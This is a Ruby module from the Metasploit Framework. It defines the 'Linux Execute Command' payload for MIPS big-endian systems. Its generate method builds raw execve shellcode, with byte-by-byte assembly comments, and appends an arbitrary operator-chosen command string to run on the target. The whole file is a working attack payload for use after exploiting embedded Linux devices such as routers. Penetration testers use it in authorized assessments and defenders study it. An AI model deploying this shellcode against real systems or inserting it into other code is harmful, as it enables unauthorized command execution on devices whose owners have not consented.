# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 52

  include Msf::Payload::Single

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Execute Command',
        'Description' => %q{
          A very small shellcode for executing commands.
          This module is sometimes helpful for testing purposes.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
          'entropy@phiral.net' # original payload
        ],
        'References' => [
          ['EDB', '17940']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'Payload' => {
          'Offsets' => {},
          'Payload' => ''
        }
      )
    )
    register_options(
      [
        OptString.new('CMD', [ true, 'The command string to execute' ]),
      ]
    )
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    return datastore['CMD'] || ''
  end

  def generate(_opts = {})
    shellcode =
      "\x24\x06\x06\x66" + # li a2,1638
      "\x04\xd0\xff\xff" + # bltzal a2,4100b4
      "\x28\x06\xff\xff" + # slti a2,zero,-1
      "\x27\xbd\xff\xe0" + # addiu sp,sp,-32
      "\x27\xe4\x10\x01" + # addiu a0,ra,4097
      "\x24\x84\xf0\x1f" + # addiu a0,a0,-4065
      "\xaf\xa4\xff\xe8" + # sw a0,-24(sp)
      "\xaf\xa0\xff\xec" + # sw zero,-20(sp)
      "\x27\xa5\xff\xe8" + # addiu a1,sp,-24
      "\x24\x02\x0f\xab" + # li v0,4011
      "\x01\x01\x01\x0c"   # syscall 0x40404

    #
    # Constructs the payload
    #

    shellcode = shellcode + command_string + "\x00"

    # we need to align our shellcode to 4 bytes
    shellcode += "\x00" while shellcode.bytesize % 4 != 0

    return super + shellcode
  end
end
